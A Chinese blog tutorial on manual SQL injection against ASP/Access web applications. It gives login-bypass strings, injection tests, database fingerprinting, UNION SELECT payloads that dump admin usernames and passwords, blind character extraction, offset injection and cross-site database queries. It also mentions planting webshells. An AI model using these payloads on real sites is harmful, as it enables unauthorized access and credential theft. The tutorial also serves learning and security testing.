博客园 首页 私信博主 显示目录 隐藏目录 管理 动画

sql 注入手工实现

 

 这里我们说一下手工实现方法,属于基础内容:

 

 

一、SQL注入

万能密码:   admin' -- --空格 代表注释符
         admin' and '1'='1
         admin' and '1'='2
概念:sql注入是一种常见的web安全漏洞,攻击者利用这个漏洞,可以访问或修改数据,或者利用潜在的数据库里的进行攻击
过程:
获取用户参数
拼接到代码当中
sql语句按照我们构造参数的语义执行成功
本质:数据和代码未分离,即数据当成了代码来执行
危害:
获取数据库信息
username=admin' and 1=2 union select version() -- &password=
获取服务器权限
植入webshell

 

万能密码

                        基本流程:

            找到有数据库交互的功能页面
            判断页面是否存在sql注入
            利用sql注入漏洞读取数据

二、sql注入的手工实现

前置知识:

a、常见数据库有以下几种,我将逐个数据库的注入心法述诸如后文

access      --asp
mysql        --php,jsp
oracle       --jsp
sqlserver  --jsp

postgreql

asp网站:
服务器:windows 2003系统 windows 2008 R2
数据库:access、mssql
搭配应用容器:IIS(IIS6.0 7.0 7.5 8.0)

php网站:
服务器:windows 2003系统 windows 2008 R2 linux
数据库:mysql
搭配应用容器(中间件):apache

b、对于动态网站(html属于静态),用户和后台存在数据库交互,也就是会有动态传值才能使用例如:http://10.6.1.54:81/news/news_content.asp?news_id=32%2我们可以通过前台的网站交互存在的漏洞控制得到数据库信息并控制之。
提示:asp链接access数据库的代码:一般存放在conn.asp,config.asp里面,找到数据库下载(有密码的情况可在源码里查看或工具破解)

(1)Access 数据库 Injection

step1:判断有无注入:通过是否把修改语句带入执行判断,执行了即返回错误结果,表示存在注入即不存在过滤。

and 1=1
and 1=2
/
-0
-1
*1
.0
.1
step2、判断数据库类型
and exsits (select * from msysobjects)>0 access
and exsits (select * from sysobjects)>0  sqlserver

step3、判断数据库表

order by 18-- #判断有多少个表
and exists (select * from admin)     #查询admin表是否存在

    常见管理员表名 :admin admin_user admin_msg  admin_usr admin_login username member

                                                 manager manag msg_user msg_login useradmin user_login user—_msg users   

step4、 判断数据库列名:                 |列名            |表名

and exists (select admin from admin)

管理员表下常见列名:admin、users、user_login、user_name、msg_name、login_name、admin_login

        密码列名:password、psd、passwd、pass 、user_pass

 

 

step5、判断某个id对应的表下的列数:id=31 order by 7 (当num<=真实存在的列数,返回正常)

 

            联合查询:

                 id=31 union select 1,2,3,4,5,6,7 from admin 判断是否存在admin表并爆出非数字类型列(可全为1,表明是数字类型)                   

 id=31 union select 1,admin,password,4,5,6,7 from admin--如果admin表下存在admin和password列则爆出相应值(可以放在任意位置)
 id=31 union select 1,admin,password,4,5,6,7 from admin where id=32 并查多个值

 

step6、判断账户,密码的长度
and (select len(admin) from admin)>=5    如果admin表下的admin列下的字符长度>=5,返回正常
and (select len(password) from admin)=5


step7、判断管理员账号的第一个数据
and (select top 1 asc(mid(admin,1,1))from admin)>100 判断admin表下的admin列下的第一个字符(第一列)的ASCII码是否大于100,mid:数据截取,admin:截取目标,第一个1是位置,的二个1是数量,例如ascll为31,对应10进制5149,1时我们判断“1,1”和“2,1”,
and (select top 1 asc(mid(admin,2,1))from admin)>100  这是查询第二行的,
and (select top 1 asc(mid(password,1,1))from admin)>100

(2)手工注入高级玩法:假设已知表名admin
偏移注入:<--已知表名,不知列名
一、id=31 union select 1,2,3,4,5,6,7 from admin 

|在末尾添加*,并从后往前依次删掉一列
|
        id=31 union select 1,2,3,4,5,6,* from admin
|
|--可能随机爆出某列的数据
二、id=31 union select 1,2,3,4,5,6,7 from admin 
在一得出结果的情况下,比如在5爆出一个值,遵从以下公式:测试不加x.id 
7-2=5---id=31 union select 1,2,3,4,5,a.id,b.id* from (admin as a inner join admin as b on a.id=b.id)
5-2=3---id=31 union select 1,2,3,a.id,b.id,c.id* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
3-2=1---id=31 union select 1,a.id,b.id,c.id,d.id* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)inner join admin as d on a.id=d.id)
三、 浏览器打开登陆页面,审查元素,查看表单提交的名称----有可能是admin下的列名 

 

四、跨库查询:通过A站查B站的数据库

 

              满足条件:

             1、A站和B站在同一个服务器下且A站存在注入    
                     2、知道B站的数据库存放的绝对路径
                     3、知道B站的表名和列名

        语法:     |--A站的注入点
        id=31 union select 1,admin,password,4,5,6,7 from [C:\数据库的绝对路径] admin_user
                        #查询同服务器下其它站点表名为admin_user的列admin和password的值

 五、挖掘0day:未公布的漏洞--南方数据0day  

 

posted @ 2019-09-16 14:35  【Abel】  阅读(766)  评论(0编辑  收藏  举报